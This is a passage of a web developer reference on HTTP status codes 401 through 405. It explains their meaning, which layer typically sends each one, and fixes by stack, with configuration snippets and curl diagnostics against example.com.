options](https://github.com/auth0/node-jsonwebtoken#jwtverifytoken-secretorpublickey-options-callback). 5. **Wrong audience or issuer.** `aud`/`iss` mismatch after switching environments, or a token minted for another API. 6. **Proxy strips the header.** Some CGI/FastCGI setups drop `Authorization`. For Apache CGI, check `CGIPassAuth On`; its default is Off. [Apache directive](https://httpd.apache.org/docs/2.4/mod/core.html#cgipassauth). nginx forwards it by default with `proxy_pass`, but not if you wrote `proxy_set_header Authorization ""`. 7. **Basic auth credentials.** `fetch()` rejects URLs with embedded credentials (`https://user:pass@host`) with a `TypeError`; set the header explicitly. ## Common causes by stack - **FastAPI:** an OAuth2 dependency can reject a missing Bearer token with 401 and `WWW-Authenticate: Bearer`; send the access token, not the refresh token. [FastAPI OAuth2 guide](https://fastapi.tiangolo.com/tutorial/security/simple-oauth2/). - **ASP.NET Core JWT bearer:** failed signature, issuer, audience or expiry validation produces 401; compare the token claims with `Authority` and `Audience`. [Microsoft JWT guidance](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/configure-jwt-bearer-authentication). - **AWS ALB:** an authentication listener with `OnUnauthenticatedRequest=deny` returns 401 for unauthenticated requests; check that listener action before debugging the target application. [ALB troubleshooting](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-troubleshooting.html). - **Kubernetes ingress-nginx:** `nginx.ingress.kubernetes.io/auth-url` calls an external auth service; a 401 from nginx's auth subrequest is passed back with its challenge. Check the auth service logs and the configured URL. [Ingress annotations](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#external-authentication), [nginx auth_request](https://nginx.org/en/docs/http/ngx_http_auth_request_module.html). ## Fix by stack ### Express / Node.js ```javascript function requireAuth(req, res, next) { const [scheme, token] = (req.headers.authorization ?? '').split(/ +/) if (scheme.toLowerCase() !== 'bearer' || !token) { return res.status(401).set('WWW-Authenticate', 'Bearer realm="api"').json({ error: 'missing_token' }) } try { req.user = jwt.verify(token, process.env.JWT_SECRET, { clockTolerance: 30 }) next() } catch (err) { const error = err.name === 'TokenExpiredError' ? 'token expired' : 'invalid token' res.status(401).set('WWW-Authenticate', `Bearer error="invalid_token", error_description="${error}"`).json({ error }) } } ``` ### nginx ```nginx location /admin/ { auth_basic "Staging"; auth_basic_user_file /etc/nginx/.htpasswd; } ``` Create the file with `htpasswd -c /etc/nginx/.htpasswd alice`. `auth_request` delegates the decision to an internal subrequest: a 401 from it becomes a 401 to the client. ### Spring Security, Django REST Framework Spring Security's `BearerTokenAuthenticationEntryPoint` produces the RFC 6750 `WWW-Authenticate` header automatically. Django REST framework uses the first authentication class to decide the challenge: its `authenticate_header()` must return a value for an unauthenticated denial to use 401; with `SessionAuthentication` first, it uses 403. [Spring JWT authentication](https://docs.spring.io/spring-security/reference/servlet/oauth2/resource-server/jwt.html), [DRF authentication](https://www.django-rest-framework.org/api-guide/authentication/). ### Cloudflare Access, API Gateway Cloudflare Access service tokens use `CF-Access-Client-Id` plus `CF-Access-Client-Secret`. In service-token-only mode, failed authentication or authorization returns 401 or 403 instead of a login redirect; check that the application has a matching Service Auth policy. `CF-Access-JWT-Assertion` is the header Access sends to the origin after authentication. [Access service tokens](https://developers.cloudflare.com/cloudflare-one/access-controls/service-credentials/service-tokens/). For API Gateway REST APIs, `UNAUTHORIZED` defaults to 401 when a custom authorizer fails authentication; `ACCESS_DENIED` defaults to 403 when authorization denies the call. Check the gateway response type and authorizer logs. [Gateway response types](https://docs.aws.amazon.com/apigateway/latest/developerguide/supported-gateway-response-types.html). ## Reproduce and verify ```bash curl -sI https://api.example.com/profile # expect 401 + WWW-Authenticate curl -sI -H "Authorization: Bearer $TOKEN" https://api.example.com/profile curl -sv -u alice:secret https://staging.example.com/ 2>&1 | grep -iE '^(>|<) (authorization|www-auth|HTTP)' ``` `curl -v` prints `> Authorization: Basic YWxpY2U6c2VjcmV0`: Basic is only base64, not encryption, so use HTTPS. For a failed API call, save the response headers and body separately instead of using only `curl -I`, which sends HEAD. Use the method that failed: an API can apply different authentication to GET and POST. Read the challenge in `headers.txt` and the rejection detail in `error.json`, then compare them with the expected scheme. [curl header and output options](https://curl.se/docs/manpage.html). ```bash curl -sS -D headers.txt -o error.json \ -H "Authorization: Bearer $TOKEN" https://api.example.com/profile grep -i '^www-authenticate:' headers.txt cat error.json ``` ## 401 for API designers - Always send `WWW-Authenticate` to name the accepted authentication scheme. `error="invalid_token"` tells a Bearer client to obtain valid credentials before retrying. - Use `Bearer error="insufficient_scope"` with 403, not 401, for scope problems (RFC 6750 section 3.1). - Keep tokens out of URLs and out of `localStorage` where XSS can read them; an `HttpOnly; Secure; SameSite` cookie or a backend-for-frontend is safer for browser apps. - Return the same authentication failure for an unknown user and a bad password. ## Related [401 vs 403](https://howhttpworks.com/compare/401-vs-403), [403 Forbidden](https://howhttpworks.com/status-codes/403), [Authorization](https://howhttpworks.com/headers/authorization), [WWW-Authenticate](https://howhttpworks.com/headers/www-authenticate), [Proxy-Authenticate](https://howhttpworks.com/headers/proxy-authenticate), [authentication guide](https://howhttpworks.com/guides/authentication), [429](https://howhttpworks.com/status-codes/429) for repeated failed logins. --- # 402 Payment Required > Reserved for future use in digital payment systems. Learn about this experimental status code and modern payment verification alternatives. Source: https://howhttpworks.com/status-codes/402 Last reviewed: 2026-10-04 > **TL;DR:** Reserved for future digital payments, rarely used in practice. Most sites use 403 Forbidden with payment info instead. ## What is 402 Payment Required? A **402 Payment Required** status code is reserved for future use in digital payment systems. Think of it like a "No Entry Without Ticket" sign—the resource exists, but you need to pay before accessing it. However, this code was never standardized and is rarely used in practice. While originally intended for digital cash or micropayment systems, modern implementations typically use 401 (Unauthorized) or 403 (Forbidden) with custom payment logic instead. ## When Does This Happen? Although not standardized, you might theoretically see a 402 Payment Required response in: **1. Paywalled Content** ```text Article behind paywall /premium-article → 402 Payment Required ``` **2. API Rate Limit Exceeded (Paid Tier)** ```text Free tier exhausted, payment required /api/data → 402 Payment Required → Upgrade to continue ``` **3. Subscription Services** ```text Subscription expired /members-only-content → 402 Payment Required ``` **4. Metered API Usage** ```text Credits depleted, payment required to continue /api/translate → 402 Payment Required → Add credits ``` **5. Digital Goods Purchase** ```text Download requires payment /download/ebook → 402 Payment Required ``` ## Example Responses **Paywalled Article:** ```http HTTP/1.1 402 Payment Required Content-Type: application/json WWW-Authenticate: Bearer realm="premium-content" X-Payment-Required: subscription Link: ; rel="payment" { "error": "Payment Required", "message": "This content requires an active subscription", "subscription_url": "https://example.com/subscribe", "plans": [ { "name": "Monthly", "price": "$9.99/month", "url": "https://example.com/subscribe/monthly" }, { "name": "Annual", "price": "$99/year", "url": "https://example.com/subscribe/annual" } ] } ``` **API Credit Depletion:** ```http HTTP/1.1 402 Payment Required Content-Type: application/json X-RateLimit-Remaining: 0 X-Credits-Required: 100 Retry-After: 3600 { "error": "Insufficient Credits", "message": "You have exhausted your API credits", "credits_required": 100, "current_balance": 0, "purchase_url": "https://api.example.com/credits/purchase" } ``` **Subscription Expired:** ```http HTTP/1.1 402 Payment Required Content-Type: text/html X-Subscription-Status: expired X-Subscription-Expired: 2026-01-01 Subscription Required

Subscription Expired

Your subscription expired on January 1, 2026.

Renew Subscription

``` ## Real-World Example Imagine you're trying to access premium API features without sufficient credits: **Client API Request:** ```http GET /api/v1/premium/analytics HTTP/1.1 Host: api.example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIs... Accept: application/json ``` **402 Payment Required Response:** ```http HTTP/1.1 402 Payment Required Content-Type: application/json WWW-Authenticate: Bearer realm="premium-api", error="insufficient_credits" X-Credits-Required: 500 X-Current-Balance: 0 Link: ; rel="payment" { "status": 402, "error": "Payment Required", "message": "Insufficient credits for premium analytics endpoint", "details": { "credits_required": 500, "current_balance": 0, "credits_needed": 500 }, "actions": { "purchase_credits": { "url": "https://api.example.com/billing/purchase", "method": "POST", "packages": [ {"credits": 1000, "price": "$10.00", "id": "pkg_1k"}, {"credits": 5000, "price": "$40.00", "id": "pkg_5k"}, {"credits": 10000, "price": "$75.00", "id": "pkg_10k"} ] }, "upgrade_plan": { "url": "https://api.example.com/billing/upgrade", "method": "POST", "plans": [ {"name": "Pro", "monthly_credits": 10000, "price": "$49/month"}, {"name": "Enterprise", "monthly_credits": 100000, "price": "$299/month"} ] } } } ``` ## 402 vs Other Authorization Codes | Code | Meaning | Authentication | Payment | Use Case | | ------- | ---------------- | -------------- | -------- | --------------------------- | | **402** | Payment required | Optional | Required | Digital payments (rare) | | **401** | Unauthorized | Required | N/A | Missing/invalid credentials | | **403** | Forbidden | Authenticated | N/A | Insufficient permissions | | **451** | Legal reasons | N/A | N/A | Censored/blocked content | ## Important Characteristics **Reserved Status:** ```text - 402 is officially "Reserved for future use" - Not standardized in HTTP specification - No widely accepted implementation - Most systems use 401 or 403 instead ``` **Modern Alternatives:** ```http # Most common: Use 403 with payment info HTTP/1.1 403 Forbidden X-Payment-Required: true Content-Type: application/json { "error": "payment_required", "payment_url": "/subscribe" } ``` ## Common Mistakes **❌ Using 402 when 401 or 403 is more appropriate** ```http HTTP/1.1 402 Payment Required ← Non-standard, confusing Location: /subscribe # Better: HTTP/1.1 403 Forbidden X-Reason: subscription_required Location: /subscribe ``` **❌ Not providing payment information** ```http HTTP/1.1 402 Payment Required ← No info on how to pay Content-Type: text/plain Payment required. ← Unhelpful ``` **❌ Using for authentication instead of payment** ```http HTTP/1.1 402 Payment Required ← Wrong code WWW-Authenticate: Bearer # Should be: HTTP/1.1 401 Unauthorized WWW-Authenticate: Bearer ``` **✅ If using 402, provide clear payment info** ```http HTTP/1.1 402 Payment Required Content-Type: application/json Link: ; rel="payment" { "error": "payment_required", "payment_url": "https://example.com/subscribe", "message": "Subscription required to access this content" } ``` ## Getting 402 Payment Required right **Consider Using 403 Instead:** ```http HTTP/1.1 403 Forbidden Content-Type: application/json X-Reason: payment_required { "error": "subscription_required", "message": "Active subscription needed", "subscribe_url": "/subscribe" } ``` **If Using 402, Be Descriptive:** ```http HTTP/1.1 402 Payment Required Content-Type: application/json Link: ; rel="payment" { "error": "Payment Required", "message": "This API endpoint requires a paid plan", "current_plan": "free", "required_plan": "pro", "upgrade_url": "https://api.example.com/upgrade", "pricing": { "pro": "$49/month", "enterprise": "$299/month" } } ``` **Include Clear Call-to-Action:** ```html Premium Content

Premium Content

This article is available to subscribers only.

Subscribe Now

Plans starting at $9.99/month

``` **Provide Machine-Readable Payment Info:** ```http HTTP/1.1 402 Payment Required Content-Type: application/json Link: ; rel="payment" { "error": "payment_required", "error_description": "Insufficient account balance", "payment_methods": ["credit_card", "paypal", "stripe"], "minimum_payment": 10.00, "currency": "USD", "payment_endpoint": "/api/payments" } ``` ## Modern Payment Verification Patterns **Subscription Check (Recommended):** ```javascript app.get('/premium/content', checkSubscription, (req, res) => { if (!req.user.hasActiveSubscription) { return res.status(403).json({ error: 'subscription_required', message: 'Active subscription needed', subscribe_url: '/subscribe' }) } res.json({ content: 'Premium content here' }) }) ``` **API Credits System:** ```javascript app.get('/api/premium-feature', async (req, res) => { const credits = await getCreditsBalance(req.user.id) if (credits < REQUIRED_CREDITS) { return res.status(403).json({ error: 'insufficient_credits', required: REQUIRED_CREDITS, current: credits, purchase_url: '/credits/buy' }) } await deductCredits(req.user.id, REQUIRED_CREDITS) res.json({ data: premiumData }) }) ``` ## Implementation Examples **Express.js (Using 403 instead):** ```javascript app.get('/premium/article', authenticateUser, (req, res) => { if (!req.user.isPremium) { return res.status(403).header('X-Payment-Required', 'true').json({ error: 'payment_required', message: 'Premium subscription required', subscribe_url: '/subscribe', plans: getPricingPlans() }) } res.json({ article: getPremiumArticle() }) }) ``` **Django:** ```python from django.http import JsonResponse def premium_content(request): if not request.user.has_active_subscription(): return JsonResponse({ 'error': 'payment_required', 'message': 'Active subscription required', 'subscribe_url': '/subscribe' }, status=403) # Using 403, not 402 return JsonResponse({'content': get_premium_content()}) ``` **API Gateway Pattern:** ```javascript // Cloudflare Worker or similar async function handleRequest(request) { const apiKey = request.headers.get('X-API-Key') const usage = await checkUsage(apiKey) if (usage.credits <= 0) { return new Response( JSON.stringify({ error: 'credits_exhausted', message: 'Please purchase more credits', purchase_url: 'https://example.com/credits' }), { status: 403, // Using 403 instead of 402 headers: { 'Content-Type': 'application/json' } } ) } return fetch(request) } ``` ## Try It Yourself Visit our [request builder](https://howhttpworks.com/tools/playground) to simulate payment-required scenarios: 1. Set method to **GET** 2. Set path to **/premium/content** 3. Try without subscription header 4. See 403 response with payment info 5. Add subscription header and retry ## Try it with curl `402 Payment Required` is reserved by RFC 9110 and has no standard behavior, so there is no generic request that triggers it. A few paid APIs return it for exhausted plans or missing payment; the details live in their own docs. To see what one sends, read the headers and body. ```bash curl -i https://api.example.com/v1/premium-endpoint ``` ## Related Status Codes - [401 Unauthorized](https://howhttpworks.com/status-codes/401) - Authentication required - [403 Forbidden](https://howhttpworks.com/status-codes/403) - Insufficient permissions (commonly used for payment) - [429 Too Many Requests](https://howhttpworks.com/status-codes/429) - Rate limit exceeded - [451 Unavailable For Legal Reasons](https://howhttpworks.com/status-codes/451) - Legally blocked content --- # HTTP 403 Forbidden: Access Denied > 403 Forbidden means the server refuses the request. Find whether Cloudflare, nginx, Apache, S3 or your app sent it; fix permissions, WAF rules and role checks. Source: https://howhttpworks.com/status-codes/403 Last reviewed: 2026-10-05 > **TL;DR:** 403 Forbidden means the server refuses to let you access this URL. Find whether the response came from your app, web server or WAF, then check the matching role, scope, filesystem permission or blocking rule. RFC 9110 section 15.5.4: the server "understood the request but refuses to fulfill it". Unlike [401](https://howhttpworks.com/status-codes/401), re-authenticating normally does not help, though a different account might. A 403 can come from your application, the web server, a WAF, or the CDN, and the fix differs for each, so identify the sender first. The longer walkthrough is in the [403 Forbidden debug guide](https://howhttpworks.com/debug/403-forbidden). The messages and response bodies here are illustrative. Client messages use `https://api.example.com/resource`; reason phrases and URLs can vary. ```http HTTP/1.1 403 Forbidden Server: cloudflare CF-Ray: 8f1c2a9b7e0d1234-AMS Content-Type: text/html Attention Required! | Cloudflare Sorry, you have been blocked ``` ## What you see in your client - **Axios:** `AxiosError: Request failed with status code 403` with the default status handling. Inspect `error.response.data` for the server's explanation. [Axios source](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **fetch:** the promise resolves with `response.status === 403` and `response.ok === false`. Check the status before reading the body; HTTP errors do not enter `catch` automatically. [MDN fetch](https://developer.mozilla.org/en-US/docs/Web/API/Window/fetch). - **Python requests:** `requests.exceptions.HTTPError: 403 Client Error: Forbidden for url: https://api.example.com/resource` when you call `response.raise_for_status()`. [Requests source](https://requests.readthedocs.io/en/latest/_modules/requests/models/#Response.raise_for_status). - **curl -f:** `curl: (22) The requested URL returned error: 403`. Use `curl -i` without `-f` while inspecting the error body. [curl source](https://github.com/curl/curl/blob/master/lib/http.c). - **.NET:** `HttpRequestException` with the English message `Response status code does not indicate success: 403 (Forbidden).` after `EnsureSuccessStatusCode()`. [Runtime message template](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring WebClient:** `WebClientResponseException$Forbidden: 403 Forbidden from POST https://api.example.com/resource` with `retrieve()`. Read `getResponseBodyAsString()`. [Spring 6.2 source](https://github.com/spring-projects/spring-framework/blob/6.2.x/spring-webflux/src/main/java/org/springframework/web/reactive/function/client/WebClientResponseException.java). - **Spring RestTemplate (6.2):** `HttpClientErrorException$Forbidden: 403 Forbidden on POST request for "https://api.example.com/resource": [no body]` with the default error handler and an empty response body. Read the exception body when present. [Message builder](https://github.com/spring-projects/spring-framework/blob/6.2.x/spring-web/src/main/java/org/springframework/web/client/DefaultResponseErrorHandler.java), [exception subclasses](https://docs.spring.io/spring-framework/docs/6.2.x/javadoc-api/org/springframework/web/client/HttpClientErrorException.html). ## Who sent it? | Evidence | Layer | | --- | --- | | `Server: cloudflare`, `CF-Ray`, page titled "Attention Required! \| Cloudflare" with a Ray ID | Cloudflare firewall, WAF managed rule, Bot Fight Mode or IP Access Rule. Look up the Ray ID under Security > Events | | `Server: nginx`, body `403 Forbidden`; error log `directory index of "/var/www/html/" is forbidden` or `open() "/var/www/x" failed (13: Permission denied)` | nginx filesystem or `deny` rule | | `Server: Apache`, log `AH01630: client denied by server configuration` or `AH00035: access to / denied ... because search permissions are missing on a directory` | Apache `Require`/permissions | | `Request blocked. We can't connect to the server for this app or website at this time` with `X-Cache: Error from cloudfront` | CloudFront with WAF or geo restriction | | XML `AccessDenied` | S3 bucket policy, Block Public Access, or missing `s3:GetObject` | | `ModSecurity` / `Mod_Security` in body, or `This request has been blocked by the website's security rules` | ModSecurity or a host WAF | | JSON `{"error":"Forbidden"}` | Your application's authorization check | ## Fix it, most common first 1. **Missing index file or directory listing off.** A request for `/` with no `index.html` and `autoindex off` gives 403. Add the file or an `index` directive. 2. **Filesystem permissions.** The web server user (`www-data`, `nginx`, `apache`) needs `x` on every parent directory and `r` on the file. Check with `namei -l /var/www/site/index.html`. SELinux: `ls -Z` and `restorecon -Rv /var/www`. 3. **A WAF or CDN rule.** Find the event for your request (Cloudflare Security Events by Ray ID, AWS WAF sampled requests, ModSecurity audit log) and tune or exclude that rule rather than disabling the WAF. 4. **IP, Referer, User-Agent or country block.** For a configured User-Agent rule, compare with `-A 'Mozilla/5.0'`. Hotlink protection returns 403 when `Referer` is foreign. 5. **Authorization logic.** The user is authenticated but lacks the role, scope, or ownership. Return the missing scope in the body, and use `WWW-Authenticate: Bearer error="insufficient_scope"` for OAuth APIs. 6. **CSRF or same-origin checks.** Django's `CSRF verification failed. Request aborted.` returns 403; Rails maps `InvalidAuthenticityToken` to 422. Pass the token or fix `Origin` handling behind your proxy (`CSRF_TRUSTED_ORIGINS`, `X-Forwarded-Proto`). 7. **Expired signed URL.** S3 and CloudFront signed URLs return 403 after expiry or when the signature, region, or clock does not match. 8. **WordPress and plugins.** Inspect `.htaccess` after a permalink or security-plugin change; compare it with WordPress's documented rules and look for an unintended deny directive. [WordPress Apache configuration](https://developer.wordpress.org/advanced-administration/server/web-server/httpd/). ## Common causes by stack - **Django REST framework:** an authenticated user failing a permission class gets 403; `SessionAuthentication` also returns 403 for unauthenticated permission failures. Check the authentication class order and `permission_classes`. [DRF authentication](https://www.django-rest-framework.org/api-guide/authentication/). - **Laravel:** a denied gate or policy throws `AuthorizationException`, converted to 403; inspect the policy method and resource ownership. CSRF failures instead map to [419](https://howhttpworks.com/status-codes/419). [Laravel authorization](https://laravel.com/docs/12.x/authorization), [exception handler](https://github.com/laravel/framework/blob/12.x/src/Illuminate/Foundation/Exceptions/Handler.php). - **ASP.NET Core JWT bearer:** an authenticated user failing an authorization policy gets 403; check required roles and claims rather than refreshing the same token. [Microsoft JWT guidance](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/configure-jwt-bearer-authentication). - **AWS ALB / API Gateway:** a WAF web ACL can make ALB return 403; API Gateway's `ACCESS_DENIED`, `INVALID_API_KEY` and `MISSING_AUTHENTICATION_TOKEN` default to 403. The last also covers an unsupported method or resource, so verify the route and stage URL. [ALB troubleshooting](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-troubleshooting.html), [gateway responses](https://docs.aws.amazon.com/apigateway/latest/developerguide/supported-gateway-response-types.html). - **Kubernetes ingress-nginx:** an external `auth-url` service returning 403 denies the request through `auth_request`; check that service's decision and forwarded credentials. [Ingress annotations](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#external-authentication), [nginx auth_request](https://nginx.org/en/docs/http/ngx_http_auth_request_module.html). ## Fix by stack ### nginx ```nginx server { root /var/www/site; index index.html; # missing index => "directory index ... is forbidden" location /admin/ { allow 203.0.113.0/24; # first match wins deny all; # everyone else gets 403 } } ``` Behind a proxy or CDN, check which address `allow`/`deny` evaluates. Configure `set_real_ip_from` for trusted proxies and `real_ip_header X-Forwarded-For` when restoring the client address. [nginx realip](https://nginx.org/en/docs/http/ngx_http_realip_module.html). ### Apache 2.4 ```apache # Grant access here; review inherited Require rules too Require all granted ``` ### Express, Next.js, Django ```javascript function requireRole(...roles) { return (req, res, next) => { if (!req.user) return res.status(401).set('WWW-Authenticate', 'Bearer').end() if (!roles.includes(req.user.role)) return res.status(403).json({ error: 'forbidden', required: roles }) next() } } ``` In Next.js, middleware that returns `new NextResponse(null, { status: 403 })` is not the same as the framework `forbidden()` helper, which is experimental and needs `experimental.authInterrupts` enabled. In Django, `PermissionDenied` produces 403 and renders `403.html`. ### Cloudflare Check Security > Events for the Ray ID. Allow a legitimate integration with a WAF custom rule using action Skip, scoped to a path plus a secret header or IP, not a blanket disable. ## A token works, but the API still returns HTML An OAuth token can pass your API's checks while an edge rule rejects the request earlier. If an API call returns `text/html` with a block page, save the response headers and request ID before trying to parse JSON. For Cloudflare, match the Ray ID to the security event; for API Gateway, check the response type and authorizer decision. A 403 from a token endpoint needs that endpoint's policy checked separately from the resource API. [Cloudflare 403 guidance](https://developers.cloudflare.com/support/troubleshooting/http-status-codes/4xx-client-error/error-403/). ## Named API failures For **MongoDB Atlas Administration API** 403s, inspect the returned error code. `ACCESS_FORBIDDEN` identifies access denied to the current user; `IP_ADDRESS_NOT_ON_WHITELIST` identifies a rejected source IP. Check the API key or service account's project access and the Administration API IP access list. A token can be created from an unlisted address yet fail when used for an API call. [Atlas error codes](https://www.mongodb.com/docs/atlas/reference/api-errors/), [programmatic access setup](https://www.mongodb.com/docs/atlas/configure-api-access/). For a **Vertex AI Search widget** reporting “configuration is not authorized,” check **Integration → Widget**: the page's domain must be configured, including `localhost` during local testing. Confirm the selected authorization type and use the generated snippet's configuration. JWT/OAuth mode needs a token supplied by your backend; Google documents the `https://www.googleapis.com/auth/cloud-platform` scope. [Google widget setup](https://docs.cloud.google.com/generative-ai-app-builder/docs/add-widget). ## Reproduce and verify ```bash curl -sI https://example.com/admin/ | head -n 5 # status and Server header curl -sI -A 'Mozilla/5.0' https://example.com/admin/ # UA-based block? curl -sI -e https://example.com/ https://example.com/img/x.png # hotlink protection? curl -s -o /dev/null -w '%{http_code} %{remote_ip}\n' https://example.com/ ``` ## 403 vs 404 Returning 404 for resources a user must not know exist is a legitimate choice (GitHub does it for private repositories), at the cost of harder debugging. Pick one policy and apply it everywhere. See also [401 vs 403](https://howhttpworks.com/compare/401-vs-403), [401](https://howhttpworks.com/status-codes/401), [404](https://howhttpworks.com/status-codes/404), [451](https://howhttpworks.com/status-codes/451) for legally blocked content. See also the comparison [403 vs 404](https://howhttpworks.com/compare/403-vs-404): when to hide a resource behind a 404 instead of admitting it with a 403. --- # HTTP 404 Not Found: What It Means and How to Fix It > 404 Not Found means no resource exists at that URL. Find which layer sent it, then fix routing, deploys, rewrites, CDN cache and soft 404s, with curl checks. Source: https://howhttpworks.com/status-codes/404 Last reviewed: 2026-10-04 > **TL;DR:** 404 Not Found means the server has no resource at that URL, or does not want to say whether it has one. Visitors should check the URL for typos; site owners should check routing, deploy output, rewrite rules and CDN cache, and find out which layer generated the 404. RFC 9110 section 15.5.5: the origin server "did not find a current representation for the target resource or is not willing to disclose that one exists". A 404 is heuristically cacheable and gives no hint whether the condition is permanent; use [410 Gone](https://howhttpworks.com/status-codes/410) when it is. ```http HTTP/1.1 404 Not Found Server: nginx/1.27.1 Content-Type: text/html 404 Not Found

404 Not Found


nginx
``` ## If you are a visitor Check the address for typos and a trailing character pasted from a chat app; remove path segments one at a time to find a parent page; use the site search; or look the page up on the Wayback Machine. A page that worked yesterday was moved or deleted, and only the site owner can restore it. ## Who sent it? | Evidence | Layer | | --- | --- | | nginx error log: `open() "/var/www/site/missing.html" failed (2: No such file or directory)` | nginx static file lookup | | Apache: `AH00128: File does not exist: /var/www/html/missing` | Apache | | `Cannot GET /path` in the body | Express, no matching route | | `This page could not be found.` (and `404 \| This page could not be found`) | Next.js default not-found page | | `Not Found: /path` or "Using the URLconf defined in ..., Django tried these URL patterns" | Django (the latter only with `DEBUG = True`) | | `Whitelabel Error Page`, `"status":404` JSON with `"error":"Not Found"` | Spring Boot | | `x-vercel-error: NOT_FOUND`, `404: NOT_FOUND Code: NOT_FOUND` | Vercel | | `NoSuchKey` | S3 object missing (private buckets return 403 instead when you lack `s3:ListBucket`) | | `X-Cache: Error from cloudfront` | CloudFront passing through an origin 404 or a missing default root object | | `404 Not Found` plus `CF-Ray` and a custom page | Cloudflare: check whether the origin or a Worker or Page Rule produced it (`cf-cache-status` tells you if it was a cached 404) | ## Fix it, most common first 1. **The URL is wrong.** Case matters on Linux paths (`/About` is not `/about`), as do trailing slashes in some routers. 2. **The file never deployed.** List the build output on the server or bucket. Confirm the deploy finished and that all regions or pods run the same release; a rolling deploy makes some requests 404 and others succeed. 3. **Root path mismatch.** nginx `root` vs `alias`: with `location /static/ { alias /srv/assets/; }` the trailing slashes must match, whereas `root` appends the whole URI. 4. **Single-page app without fallback.** Deep links like `/dashboard/settings` 404 on refresh because the server looks for a file. Route unknown paths to `index.html`. 5. **Rewrite or proxy path error.** `proxy_pass http://app;` and `proxy_pass http://app/;` treat the path differently: a trailing slash replaces the matched location prefix, none passes the URI unchanged. 6. **Stale CDN cache.** A 404 cached before the file was published keeps being served. Purge the URL, and set a short TTL for 404s (Cloudflare caches 404s for a few minutes by default; CloudFront's error caching minimum TTL defaults to 10 seconds). 7. **Works with a trailing slash, 404 without (or the reverse).** Static hosts map `/docs` to `/docs/index.html` only with directory-style output; check your framework's `trailingSlash` setting. 8. **WordPress.** Permalinks 404 after migration: Settings > Permalinks > Save, and confirm `mod_rewrite`/`AllowOverride All` or the nginx `try_files $uri $uri/ /index.php?$args;`. ## Fix by stack ### nginx ```nginx location / { try_files $uri $uri/ /index.html; # SPA fallback; use /index.php?$args for WordPress } error_page 404 /404.html; location = /404.html { internal; } # keeps the 404 status; do not redirect to it ``` ### Apache ```apache ErrorDocument 404 /404.html # a local path keeps the 404 status; a full URL turns it into a 302 RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^ /index.html [L] ``` ### Next.js ```typescript // app/blog/[slug]/page.tsx import { notFound } from 'next/navigation' export default async function Page({ params }: { params: Promise<{ slug: string }> }) { const { slug } = await params const post = await getPost(slug) if (!post) notFound() // renders app/not-found.tsx with status 404 return
{post.title}
} ``` Do not render a "not found" message with status 200: that is a soft 404, which Google reports in Search Console as "Soft 404". ### Express ```javascript app.get('/api/users/:id', async (req, res) => { const user = await db.users.findById(req.params.id) if (!user) return res.status(404).json({ error: 'not_found' }) res.json(user) }) app.use((req, res) => res.status(404).json({ error: 'not_found', path: req.path })) // last ``` ### Cloudflare and static hosts Cloudflare Pages serves `404.html` for missing paths (and does SPA fallback if there is no `404.html`). Netlify uses `404.html` or a `_redirects` rule `/* /index.html 200`. Vercel uses `vercel.json` `rewrites` for SPA fallback. ## Reproduce and verify ```bash curl -sI https://example.com/missing | head -n 1 # HTTP/2 404 curl -s -o /dev/null -w '%{http_code}\n' https://example.com/page # status only curl -sIL https://example.com/old-url | grep -iE '^(HTTP|location)' # follows redirects curl -sI https://example.com/missing | grep -iE '^(server|via|cf-ray|x-cache|age|cf-cache-status)' ``` An `Age` or `cf-cache-status: HIT` on a 404 means the CDN is serving a cached miss. The [redirect audit](https://howhttpworks.com/tools/redirect-audit) shows whole chains. ## SEO Google drops 404 URLs from the index after recrawling; a few are normal. Redirect moved pages with a [301](https://howhttpworks.com/status-codes/301) to the closest equivalent page, return [410](https://howhttpworks.com/status-codes/410) for deliberately removed content, and never redirect everything to the homepage (Google treats that as a soft 404). Fix internal links that point to 404s; they waste crawl budget and frustrate users. ## 404 vs its neighbors [400](https://howhttpworks.com/status-codes/400) is a malformed request; [403](https://howhttpworks.com/status-codes/403) is a refusal (sometimes disguised as 404 to hide existence); [405](https://howhttpworks.com/status-codes/405) means the path exists but not for that method; 410 means gone for good. API design: 404 for a missing resource, 400 or 422 for a bad body, and never 200 with `{"error":"not found"}`. See also the comparison [403 vs 404](https://howhttpworks.com/compare/403-vs-404): when to hide a resource behind a 404 instead of admitting it with a 403. --- # 405 Method Not Allowed > 405 Method Not Allowed means the URL exists but not for that method. Read the Allow header, then fix redirects turning POST into GET, static hosting and WAFs. Source: https://howhttpworks.com/status-codes/405 Last reviewed: 2026-10-04 > **TL;DR:** 405 Method Not Allowed means the URL exists but does not accept the HTTP method you used, and the response must list the accepted methods in an `Allow` header. The usual real-world causes are a form or fetch using the wrong verb, a redirect that turned POST into GET, static hosting that only serves GET, and a proxy or CORS layer blocking PUT/DELETE. RFC 9110 section 15.5.6: the method "is known by the origin server but not supported by the target resource", and the server "MUST generate an Allow header field". Compare [501](https://howhttpworks.com/status-codes/501), which means the server does not recognize the method at all, and [404](https://howhttpworks.com/status-codes/404), where the path itself is unknown. ```http HTTP/1.1 405 Method Not Allowed Allow: GET, HEAD, OPTIONS Content-Type: application/json {"error":"method_not_allowed","allowed":["GET","HEAD","OPTIONS"]} ``` ## Who sent it? | Evidence | Layer | | --- | --- | | `Allow:` header lists methods and body comes from your framework (`Method Not Allowed`, Flask: `The method is not allowed for the requested URL.`) | Application route does not define that method | | nginx page `405 Not Allowed` | nginx serving a static file (nginx static handling accepts only GET/HEAD, and POST to a static file returns 405) | | `405 Method Not Allowed` with `Server: AmazonS3` | S3 website endpoint or bucket policy blocks the verb | | `Server: cloudflare`, `CF-Ray` | Cloudflare Pages/Workers or a WAF rule restricting methods | | IIS: `HTTP Error 405.0 - Method Not Allowed` or `405.0 ... The page you are looking for cannot be displayed because an invalid method (HTTP verb) is being used` | IIS; frequently WebDAV module intercepting PUT/DELETE | | Spring: `Request method 'POST' is not supported` (`HttpRequestMethodNotSupportedException`) | Spring MVC mapping | | Django: `Method Not Allowed (POST): /path/` in the server log | View class lacks `post()` | ## Fix it, most common first 1. **Read the 